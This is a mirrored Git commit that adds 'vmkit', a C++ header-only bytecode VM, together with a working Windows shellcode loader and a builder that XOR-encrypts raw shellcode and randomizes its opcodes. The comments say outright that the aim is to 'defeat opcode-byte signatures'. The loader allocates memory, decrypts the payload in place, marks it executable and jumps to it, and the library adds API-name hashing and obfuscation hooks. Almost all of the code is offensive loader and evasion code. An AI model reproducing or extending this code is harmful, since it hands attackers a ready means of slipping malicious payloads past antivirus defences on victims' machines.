mirror of
https://github.com/mochabyte0x/vmkit
synced 2026-06-21 14:00:55 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
# vmkit: example build.
|
||||
# Builds the portable example loader and its companion builder.
|
||||
#
|
||||
# Usage:
|
||||
# make # build both example_loader and example_builder
|
||||
# make run-loader # build + run the example loader
|
||||
# make run-builder # build + run the example builder
|
||||
# make clean # remove built artifacts
|
||||
#
|
||||
# Override CXX or CXXFLAGS as needed:
|
||||
# make CXX=g++
|
||||
# make CXXFLAGS="-std=c++20 -O3"
|
||||
|
||||
# Use = (not ?=) so we override Make's built-in default of g++.
|
||||
# Override on the command line: make CXX=g++
|
||||
CXX = clang++
|
||||
CXXFLAGS = -std=c++20 -O2 -Wall -Wextra -Wpedantic
|
||||
INCLUDES := -I.
|
||||
|
||||
# Detect MSYS2 / MinGW / Cygwin shells where MSYS-style /tmp paths leak into
|
||||
# TMP/TEMP and break Microsoft's link.exe. In that case we point both at
|
||||
# LOCALAPPDATA\Temp (resolved by the recipe shell at build time).
|
||||
UNAME_S := $(shell uname -s 2>/dev/null)
|
||||
ifneq (,$(filter MSYS% MINGW% CYGWIN%,$(UNAME_S)))
|
||||
EXE := .exe
|
||||
RM := rm -f
|
||||
TMP_FIX := TMP="$$LOCALAPPDATA\\Temp" TEMP="$$LOCALAPPDATA\\Temp"
|
||||
else ifeq ($(OS),Windows_NT)
|
||||
EXE := .exe
|
||||
RM := rm -f
|
||||
TMP_FIX :=
|
||||
else
|
||||
EXE :=
|
||||
RM := rm -f
|
||||
TMP_FIX :=
|
||||
endif
|
||||
|
||||
EXAMPLES := example/example_loader$(EXE) example/example_builder$(EXE)
|
||||
|
||||
.PHONY: all clean run-loader run-builder
|
||||
|
||||
all: $(EXAMPLES)
|
||||
|
||||
# The builder reads example/payload.bin (raw shellcode) and emits the
|
||||
# encrypted bytecode + payload header that the loader consumes. If you change
|
||||
# payload.bin, embedded.h regenerates and the loader picks it up automatically.
|
||||
example/embedded.h: example/example_builder$(EXE) example/payload.bin
|
||||
./$< example/payload.bin > $@
|
||||
|
||||
# Loader depends on the generated bytecode header.
|
||||
example/example_loader$(EXE): example/example_loader.cpp vm_loader.hpp example/embedded.h
|
||||
$(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@
|
||||
|
||||
example/%$(EXE): example/%.cpp vm_loader.hpp
|
||||
$(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@
|
||||
|
||||
run-loader: example/example_loader$(EXE)
|
||||
./$<
|
||||
|
||||
run-builder: example/example_builder$(EXE)
|
||||
./$<
|
||||
|
||||
clean:
|
||||
-$(RM) $(EXAMPLES) example/embedded.h
|
||||
@@ -0,0 +1,6 @@
|
||||
-std=c++20
|
||||
-Wall
|
||||
-Wextra
|
||||
-Wpedantic
|
||||
-fno-exceptions
|
||||
-fno-rtti
|
||||
@@ -0,0 +1,186 @@
|
||||
/*
|
||||
BSD 2-Clause License
|
||||
|
||||
Copyright (c) 2026, MochaByte
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
example_builder.cpp : the tiny builder companion to example_loader.cpp.
|
||||
|
||||
Reads a raw shellcode file from argv[1] (typically example/payload.bin),
|
||||
then emits a self-contained C++ header on stdout containing:
|
||||
- g_ir_blob[] : the encrypted, opcode-randomized bytecode (5 ops)
|
||||
- g_ir_seed : the 32-bit seed both sides use to derive XOR keys
|
||||
- g_ir_payload[] : the encrypted shellcode bytes
|
||||
- g_ir_payload_size: how many bytes the payload is
|
||||
|
||||
The Makefile redirects that header into example/embedded.h, which the
|
||||
loader then #include's. Result: a real round-trip where what the builder
|
||||
writes is exactly what the loader reads back, decrypts, and runs ^^.
|
||||
|
||||
The bytecode pipeline this produces is the classic loader sequence:
|
||||
alloc -> write encrypted -> decrypt in place -> protect RX -> jump.
|
||||
|
||||
Build:
|
||||
clang++ -std=c++20 -O2 -I.. example_builder.cpp -o example_builder
|
||||
Run:
|
||||
./example_builder example/payload.bin > example/embedded.h
|
||||
*/
|
||||
|
||||
#include "../vm_loader.hpp"
|
||||
|
||||
#include <array>
|
||||
#include <cstdint>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <fstream>
|
||||
#include <span>
|
||||
#include <vector>
|
||||
|
||||
// Mirror the loader's opcode definition. In a real project this would live in
|
||||
// a shared header consumed by both sides.
|
||||
enum class LoaderOp : std::uint8_t {
|
||||
AllocRegion = 0,
|
||||
WritePayload = 1,
|
||||
DecryptRegion = 2,
|
||||
ProtectRX = 3,
|
||||
ExecRegion = 4,
|
||||
};
|
||||
|
||||
using OpT = vmkit::Op<LoaderOp>;
|
||||
|
||||
// Forward map: real opcode -> randomized opcode written into the bytecode.
|
||||
// Must be the inverse of the loader's reverse map. Shuffle these around per
|
||||
// build to defeat opcode-byte signatures.
|
||||
constexpr vmkit::OpcodeReverseMap forward_map() noexcept {
|
||||
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
|
||||
m[static_cast<std::uint8_t>(LoaderOp::AllocRegion)] = 4;
|
||||
m[static_cast<std::uint8_t>(LoaderOp::WritePayload)] = 2;
|
||||
m[static_cast<std::uint8_t>(LoaderOp::DecryptRegion)] = 0;
|
||||
m[static_cast<std::uint8_t>(LoaderOp::ProtectRX)] = 1;
|
||||
m[static_cast<std::uint8_t>(LoaderOp::ExecRegion)] = 3;
|
||||
return m;
|
||||
}
|
||||
|
||||
// Build one op with its opcode pre-encoded through the forward map.
|
||||
constexpr OpT make_op(LoaderOp real, std::uint32_t a = 0, std::uint32_t b = 0,
|
||||
std::uint64_t x = 0) noexcept {
|
||||
constexpr auto fmap = forward_map();
|
||||
OpT op{};
|
||||
op.opcode = LoaderOp{fmap[static_cast<std::uint8_t>(real)]};
|
||||
op.u32[0] = a;
|
||||
op.u32[1] = b;
|
||||
op.u64[0] = x;
|
||||
return op;
|
||||
}
|
||||
|
||||
// Derive a 32-byte XOR key from a seed. Mix in a constant so identical seeds
|
||||
// across projects don't produce identical keys. Both sides use this for both
|
||||
// the bytecode and the payload, so keep it in sync with the loader.
|
||||
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
|
||||
std::array<std::uint8_t, 32> key{};
|
||||
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
|
||||
for (std::size_t i = 0; i < key.size(); ++i) {
|
||||
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
// Slurp a binary file into a vector. Used to pull the shellcode in.
|
||||
static std::vector<std::uint8_t> read_file(const char* path) {
|
||||
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||
if (!f) {
|
||||
std::fprintf(stderr, "example_builder: cannot open '%s'\n", path);
|
||||
std::exit(1);
|
||||
}
|
||||
const std::streamsize size = f.tellg();
|
||||
f.seekg(0, std::ios::beg);
|
||||
std::vector<std::uint8_t> buf(static_cast<std::size_t>(size));
|
||||
if (size > 0 && !f.read(reinterpret_cast<char*>(buf.data()), size)) {
|
||||
std::fprintf(stderr, "example_builder: failed reading '%s'\n", path);
|
||||
std::exit(1);
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
// Print a span as a comma-separated hex array, 16 bytes per line.
|
||||
static void emit_hex_array(std::span<const std::uint8_t> data) {
|
||||
for (std::size_t i = 0; i < data.size(); ++i) {
|
||||
std::printf("0x%02X,%s", data[i], (i % 16 == 15) ? "\n " : " ");
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc < 2) {
|
||||
std::fprintf(stderr, "usage: %s <payload.bin>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Pull the plaintext shellcode in.
|
||||
auto payload = read_file(argv[1]);
|
||||
const std::size_t payload_size = payload.size();
|
||||
|
||||
// The 5-op pipeline the loader will run:
|
||||
// alloc R0 -> write encrypted payload -> decrypt R0 -> protect RX -> jump.
|
||||
OpT program[] = {
|
||||
make_op(LoaderOp::AllocRegion, /*region=*/0, /*-*/0, /*size=*/payload_size),
|
||||
make_op(LoaderOp::WritePayload, /*region=*/0, /*size=*/static_cast<std::uint32_t>(payload_size), /*src_off=*/0),
|
||||
make_op(LoaderOp::DecryptRegion, /*region=*/0, /*-*/0, /*size=*/payload_size),
|
||||
make_op(LoaderOp::ProtectRX, /*region=*/0, /*-*/0, /*size=*/payload_size),
|
||||
make_op(LoaderOp::ExecRegion, /*region=*/0),
|
||||
};
|
||||
|
||||
auto blob = std::span{
|
||||
reinterpret_cast<std::uint8_t*>(program),
|
||||
sizeof(program),
|
||||
};
|
||||
|
||||
// Encrypt both the bytecode and the payload with a key derived from the
|
||||
// same seed. Splitting them into two keys is straightforward; we keep one
|
||||
// here for simplicity.
|
||||
constexpr std::uint32_t seed = 0xC0FFEE;
|
||||
const auto key = derive_key(seed);
|
||||
vmkit::xor_codec::apply(blob, key);
|
||||
vmkit::xor_codec::apply(std::span<std::uint8_t>(payload), key);
|
||||
|
||||
// Emit the self-contained header.
|
||||
std::printf("#pragma once\n");
|
||||
std::printf("// Generated by example_builder. Do not edit by hand.\n");
|
||||
std::printf("// seed = 0x%08X | bytecode = %zu bytes (%zu ops) | payload = %zu bytes\n",
|
||||
seed, blob.size(), blob.size() / sizeof(OpT), payload_size);
|
||||
std::printf("#include <cstddef>\n");
|
||||
std::printf("#include <cstdint>\n\n");
|
||||
|
||||
std::printf("inline constexpr unsigned char g_ir_blob[] = {\n ");
|
||||
emit_hex_array(blob);
|
||||
std::printf("\n};\n");
|
||||
std::printf("inline constexpr std::uint32_t g_ir_seed = 0x%08Xu;\n\n", seed);
|
||||
|
||||
std::printf("inline constexpr unsigned char g_ir_payload[] = {\n ");
|
||||
emit_hex_array(std::span<const std::uint8_t>(payload));
|
||||
std::printf("\n};\n");
|
||||
std::printf("inline constexpr std::size_t g_ir_payload_size = %zu;\n", payload_size);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
BSD 2-Clause License
|
||||
|
||||
Copyright (c) 2026, MochaByte
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
example_loader.cpp : small Windows shellcode loader driven by vmkit.
|
||||
|
||||
Runs a 5-op IR program against an embedded, encrypted shellcode payload:
|
||||
|
||||
1. AllocRegion(r=0, size) -> VirtualAlloc(PAGE_READWRITE)
|
||||
2. WritePayload(r=0, src_off, size) -> memcpy from g_ir_payload (still encrypted)
|
||||
3. DecryptRegion(r=0, size) -> XOR in place with the seed-derived key
|
||||
4. ProtectRX(r=0, size) -> VirtualProtect(PAGE_EXECUTE_READ)
|
||||
5. ExecRegion(r=0) -> cast to fn ptr and jump
|
||||
|
||||
Both the bytecode (g_ir_blob) and the shellcode (g_ir_payload) come from
|
||||
example_builder.cpp, which the Makefile runs against example/payload.bin to
|
||||
generate example/embedded.h. So this is a real round-trip: builder reads a
|
||||
raw shellcode + emits encrypted artifacts, loader includes them, decrypts,
|
||||
and runs ^^.
|
||||
|
||||
Build:
|
||||
make
|
||||
*/
|
||||
#include "../vm_loader.hpp"
|
||||
#include "embedded.h" // generated by example_builder
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
#include <array>
|
||||
#include <cstring>
|
||||
|
||||
enum class LoaderOp : std::uint8_t {
|
||||
AllocRegion = 0,
|
||||
WritePayload = 1,
|
||||
DecryptRegion = 2,
|
||||
ProtectRX = 3,
|
||||
ExecRegion = 4,
|
||||
};
|
||||
|
||||
struct LoaderContext {
|
||||
void* regions[8] = {};
|
||||
};
|
||||
|
||||
using OpT = vmkit::Op<LoaderOp>;
|
||||
|
||||
template <>
|
||||
struct vmkit::Handler<LoaderOp::AllocRegion> {
|
||||
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
||||
const std::uint32_t region_id = op.u32[0];
|
||||
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
|
||||
ctx.regions[region_id] =
|
||||
VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
}
|
||||
};
|
||||
|
||||
template <>
|
||||
struct vmkit::Handler<LoaderOp::WritePayload> {
|
||||
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
||||
const std::uint32_t region_id = op.u32[0];
|
||||
const std::uint32_t size = op.u32[1];
|
||||
const std::uint64_t src_off = op.u64[0];
|
||||
std::memcpy(ctx.regions[region_id], g_ir_payload + src_off, size);
|
||||
}
|
||||
};
|
||||
|
||||
// Mirror of the builder's derive_key. Both sides MUST agree on this algorithm,
|
||||
// otherwise decryption produces garbage and we end up jumping into nonsense.
|
||||
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
|
||||
std::array<std::uint8_t, 32> key{};
|
||||
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
|
||||
for (std::size_t i = 0; i < key.size(); ++i) {
|
||||
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
template <>
|
||||
struct vmkit::Handler<LoaderOp::DecryptRegion> {
|
||||
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
||||
const std::uint32_t region_id = op.u32[0];
|
||||
const std::size_t size = static_cast<std::size_t>(op.u64[0]);
|
||||
const auto key = derive_key(g_ir_seed);
|
||||
vmkit::xor_codec::apply(
|
||||
std::span<std::uint8_t>(static_cast<std::uint8_t*>(ctx.regions[region_id]), size),
|
||||
std::span<const std::uint8_t>(key));
|
||||
}
|
||||
};
|
||||
|
||||
template <>
|
||||
struct vmkit::Handler<LoaderOp::ProtectRX> {
|
||||
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
||||
const std::uint32_t region_id = op.u32[0];
|
||||
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
|
||||
DWORD old_protect = 0;
|
||||
VirtualProtect(ctx.regions[region_id], size, PAGE_EXECUTE_READ, &old_protect);
|
||||
}
|
||||
};
|
||||
|
||||
template <>
|
||||
struct vmkit::Handler<LoaderOp::ExecRegion> {
|
||||
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
||||
const std::uint32_t region_id = op.u32[0];
|
||||
using shellcode_fn = void (*)();
|
||||
auto fn = reinterpret_cast<shellcode_fn>(ctx.regions[region_id]);
|
||||
fn();
|
||||
}
|
||||
};
|
||||
|
||||
struct LoaderConfig : vmkit::DefaultConfig {
|
||||
// Opcode bytes in g_ir_blob are randomized; map them back through this table.
|
||||
static constexpr bool opcode_randomization = true;
|
||||
// g_ir_blob itself is XOR-encrypted; decrypt_bytecode runs once before dispatch.
|
||||
static constexpr bool bytecode_xor_encrypted = true;
|
||||
|
||||
// Inverse of the builder's forward map.
|
||||
static constexpr vmkit::OpcodeReverseMap opcode_reverse_map = [] {
|
||||
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
|
||||
m[0] = static_cast<std::uint8_t>(LoaderOp::DecryptRegion);
|
||||
m[1] = static_cast<std::uint8_t>(LoaderOp::ProtectRX);
|
||||
m[2] = static_cast<std::uint8_t>(LoaderOp::WritePayload);
|
||||
m[3] = static_cast<std::uint8_t>(LoaderOp::ExecRegion);
|
||||
m[4] = static_cast<std::uint8_t>(LoaderOp::AllocRegion);
|
||||
return m;
|
||||
}();
|
||||
|
||||
// In-place XOR with the same key the builder used.
|
||||
static void decrypt_bytecode(std::span<std::uint8_t> blob,
|
||||
std::uint32_t seed) noexcept {
|
||||
const auto key = derive_key(seed);
|
||||
vmkit::xor_codec::apply(blob, std::span<const std::uint8_t>(key));
|
||||
}
|
||||
};
|
||||
|
||||
int main() {
|
||||
// Copy the encrypted bytecode from embedded.h into a mutable buffer, since
|
||||
// execute() decrypts it in place.
|
||||
std::array<std::uint8_t, sizeof(g_ir_blob)> blob_buf{};
|
||||
std::memcpy(blob_buf.data(), g_ir_blob, sizeof(g_ir_blob));
|
||||
|
||||
LoaderContext ctx{};
|
||||
vmkit::Vm<LoaderOp, LoaderContext, LoaderConfig,
|
||||
vmkit::OpcodeList<LoaderOp::AllocRegion,
|
||||
LoaderOp::WritePayload,
|
||||
LoaderOp::DecryptRegion,
|
||||
LoaderOp::ProtectRX,
|
||||
LoaderOp::ExecRegion>> vm;
|
||||
|
||||
vm.execute(std::span<std::uint8_t>(blob_buf), ctx, g_ir_seed);
|
||||
|
||||
for (auto* p : ctx.regions) {
|
||||
if (p) VirtualFree(p, 0, MEM_RELEASE);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
+240
@@ -0,0 +1,240 @@
|
||||
/*
|
||||
BSD 2-Clause License
|
||||
|
||||
Copyright (c) 2026, MochaByte
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
vmkit: a header-only, freestanding VM template for IR-bytecode loaders.
|
||||
|
||||
What you get out of the box:
|
||||
* Single header. No CRT, no STL allocators, no exceptions, no RTTI.
|
||||
* Plays nicely with /NODEFAULTLIB and -nostdlib++.
|
||||
* Zero-cost dispatch through a constexpr 256-entry function-pointer table.
|
||||
* Adding an opcode means adding a Handler<Op> specialization. No giant
|
||||
switch to keep editing every time.
|
||||
|
||||
The pattern in three lines:
|
||||
1. Builder emits a sequence of fixed-size Op records, optionally XOR-encrypted.
|
||||
2. Loader hands the blob to Vm::execute, which decrypts, decodes, dispatches.
|
||||
3. Per-opcode behavior lives in Handler<Op> specializations on your side.
|
||||
|
||||
Usage:
|
||||
enum class MyOp : std::uint8_t { Alloc = 0, Write = 1, Exec = 2 };
|
||||
struct MyContext { ... whatever state your loader needs ... };
|
||||
|
||||
template<> struct vmkit::Handler<MyOp::Alloc> {
|
||||
static void execute(MyContext& ctx, const vmkit::Op<MyOp>& op) noexcept;
|
||||
};
|
||||
// ... and so on for Write, Exec ...
|
||||
|
||||
vmkit::Vm<MyOp, MyContext, vmkit::DefaultConfig,
|
||||
vmkit::OpcodeList<MyOp::Alloc, MyOp::Write, MyOp::Exec>> vm;
|
||||
vm.execute(blob_span, ctx, seed);
|
||||
|
||||
One constraint worth knowing: the opcode enum's underlying type must fit in
|
||||
a uint8_t (0..255). The dispatch table is exactly 256 entries: same size as
|
||||
the opcode reverse map used for randomization ^^.
|
||||
|
||||
*/
|
||||
|
||||
#include <array>
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <span>
|
||||
|
||||
namespace vmkit {
|
||||
|
||||
// Op: a single fixed-size IR operation.
|
||||
// Tune slot counts via template params; default 8x u32 + 4x u64 covers most loaders.
|
||||
template <typename Opcode, std::size_t U32Slots = 8, std::size_t U64Slots = 4>
|
||||
struct alignas(8) Op {
|
||||
Opcode opcode;
|
||||
std::uint32_t u32[U32Slots];
|
||||
std::uint64_t u64[U64Slots];
|
||||
};
|
||||
|
||||
// Handler: primary template, intentionally undefined.
|
||||
// User specializes once per opcode. A missing specialization for a listed
|
||||
// opcode is a hard compile error (see static_assert in Vm::dispatch_to).
|
||||
template <auto Opcode>
|
||||
struct Handler;
|
||||
|
||||
// OpcodeList: pack of opcode values the VM should know how to dispatch.
|
||||
// Anything not in this list maps to unknown_op (a no-op).
|
||||
template <auto... Ops>
|
||||
struct OpcodeList {};
|
||||
|
||||
// HasHandler: concept used for compile-time validation.
|
||||
template <auto Op_, typename Ctx, typename OpT>
|
||||
concept HasHandler = requires(Ctx& ctx, const OpT& op) {
|
||||
Handler<Op_>::execute(ctx, op);
|
||||
};
|
||||
|
||||
// xor_codec: minimal in-place XOR for bytecode and context blobs.
|
||||
namespace xor_codec {
|
||||
|
||||
constexpr void apply(std::span<std::uint8_t> data,
|
||||
std::span<const std::uint8_t> key) noexcept {
|
||||
for (std::size_t i = 0; i < data.size(); ++i) {
|
||||
data[i] ^= key[i % key.size()];
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace xor_codec
|
||||
|
||||
// api_hash: Jenkins-OAAT with seed rotation, evaluated at compile time.
|
||||
// Use: constexpr auto h = vmkit::api_hash::oaat("NtAllocateVirtualMemory");
|
||||
namespace api_hash {
|
||||
|
||||
constexpr std::uint32_t oaat(const char* s, std::uint32_t seed = 1) noexcept {
|
||||
std::uint32_t h = 0;
|
||||
for (std::size_t i = 0; s[i] != '\0'; ++i) {
|
||||
h += static_cast<std::uint8_t>(s[i]);
|
||||
h += h << seed;
|
||||
h ^= h >> 6;
|
||||
}
|
||||
h += h << 3;
|
||||
h ^= h >> 11;
|
||||
h += h << 15;
|
||||
return h;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Reverse opcode map: 256-byte table for opcode randomization.
|
||||
// Builder writes the forward (real -> randomized) map into bytecode;
|
||||
// runtime applies the inverse here before dispatch.
|
||||
using OpcodeReverseMap = std::array<std::uint8_t, 256>;
|
||||
|
||||
constexpr OpcodeReverseMap identity_reverse_map() noexcept {
|
||||
OpcodeReverseMap m{};
|
||||
for (std::size_t i = 0; i < 256; ++i) {
|
||||
m[i] = static_cast<std::uint8_t>(i);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
// DefaultConfig: disabled-by-default obfuscation flags.
|
||||
// Inherit and override flags + hooks for the features you want.
|
||||
struct DefaultConfig {
|
||||
// Feature flags
|
||||
static constexpr bool opcode_randomization = false;
|
||||
static constexpr bool bytecode_xor_encrypted = false;
|
||||
static constexpr bool per_op_context_encryption = false;
|
||||
|
||||
// Reverse map used iff opcode_randomization is true
|
||||
static constexpr OpcodeReverseMap opcode_reverse_map = identity_reverse_map();
|
||||
|
||||
// Hooks: called only when their corresponding flag is true.
|
||||
// bytecode_xor_encrypted -> decrypt_bytecode
|
||||
static void decrypt_bytecode(std::span<std::uint8_t> /*blob*/,
|
||||
std::uint32_t /*seed*/) noexcept {}
|
||||
|
||||
// per_op_context_encryption -> {encrypt,decrypt}_context
|
||||
template <typename Ctx>
|
||||
static void encrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {}
|
||||
|
||||
template <typename Ctx>
|
||||
static void decrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {}
|
||||
};
|
||||
|
||||
// Vm: the dispatcher. Specialized on the OpcodeList for per-opcode validation.
|
||||
template <typename Opcode,
|
||||
typename Ctx,
|
||||
typename Cfg = DefaultConfig,
|
||||
typename Ops = OpcodeList<>>
|
||||
class Vm;
|
||||
|
||||
template <typename Opcode, typename Ctx, typename Cfg, auto... Ops>
|
||||
class Vm<Opcode, Ctx, Cfg, OpcodeList<Ops...>> {
|
||||
public:
|
||||
using OpType = Op<Opcode>;
|
||||
using Dispatcher = void (*)(Ctx&, const OpType&) noexcept;
|
||||
|
||||
// Execute a (possibly encrypted) bytecode blob.
|
||||
// blob is mutable because in-place decryption may rewrite it.
|
||||
void execute(std::span<std::uint8_t> blob,
|
||||
Ctx& ctx,
|
||||
std::uint32_t seed = 0) const noexcept {
|
||||
if constexpr (Cfg::bytecode_xor_encrypted) {
|
||||
Cfg::decrypt_bytecode(blob, seed);
|
||||
}
|
||||
|
||||
const std::size_t count = blob.size() / sizeof(OpType);
|
||||
const auto* ops = reinterpret_cast<const OpType*>(blob.data());
|
||||
|
||||
for (std::size_t i = 0; i < count; ++i) {
|
||||
if constexpr (Cfg::per_op_context_encryption) {
|
||||
if (i > 0) {
|
||||
Cfg::decrypt_context(ctx, static_cast<std::uint32_t>(i));
|
||||
}
|
||||
}
|
||||
|
||||
const OpType& op = ops[i];
|
||||
std::uint8_t raw = static_cast<std::uint8_t>(op.opcode);
|
||||
if constexpr (Cfg::opcode_randomization) {
|
||||
raw = Cfg::opcode_reverse_map[raw];
|
||||
}
|
||||
|
||||
dispatch_table[raw](ctx, op);
|
||||
|
||||
if constexpr (Cfg::per_op_context_encryption) {
|
||||
Cfg::encrypt_context(ctx, static_cast<std::uint32_t>(i + 1));
|
||||
}
|
||||
}
|
||||
|
||||
if constexpr (Cfg::per_op_context_encryption) {
|
||||
if (count > 0) {
|
||||
Cfg::decrypt_context(ctx, static_cast<std::uint32_t>(count));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
template <auto Op_>
|
||||
static void dispatch_to(Ctx& ctx, const OpType& op) noexcept {
|
||||
static_assert(HasHandler<Op_, Ctx, OpType>, "vmkit: missing Handler<Op> specialization for a listed opcode");
|
||||
Handler<Op_>::execute(ctx, op);
|
||||
}
|
||||
|
||||
static void unknown_op(Ctx& /*ctx*/, const OpType& /*op*/) noexcept {}
|
||||
|
||||
static constexpr std::array<Dispatcher, 256> build_table() noexcept {
|
||||
std::array<Dispatcher, 256> t{};
|
||||
for (auto& f : t) {
|
||||
f = &unknown_op;
|
||||
}
|
||||
((t[static_cast<std::size_t>(Ops)] = &dispatch_to<Ops>), ...);
|
||||
return t;
|
||||
}
|
||||
|
||||
static constexpr std::array<Dispatcher, 256> dispatch_table = build_table();
|
||||
};
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user